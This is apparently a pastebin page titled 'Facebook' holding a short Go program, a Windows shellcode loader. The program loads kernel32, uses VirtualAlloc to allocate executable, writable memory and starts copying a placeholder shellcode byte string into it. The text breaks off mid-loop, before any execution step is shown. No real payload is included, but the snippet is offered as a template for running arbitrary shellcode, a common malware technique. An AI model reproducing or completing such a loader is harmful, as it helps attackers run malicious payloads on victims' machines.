Facebook
From duppa, 1 Month ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 134
  1. package main
  2.  
  3. import (
  4.  // necessary imports
  5.  "syscall"
  6.  "unsafe"
  7. )
  8.  
  9. func mustRunShellcode() {
  10.  // Paste your shellcode hex value here
  11.  shellcode := []byte("SHELLCODE")
  12.  
  13.  kernel32 := syscall.MustLoadDLL("kernel32")
  14.  virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
  15.  
  16.  // Allocate memory with write access
  17.  addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
  18.  
  19.  // Copy shellcode
  20.  shellcodePtr := ((*[99000]byte)(unsafe.Pointer(addr)))
  21.  for i, value := range shellcode
  22.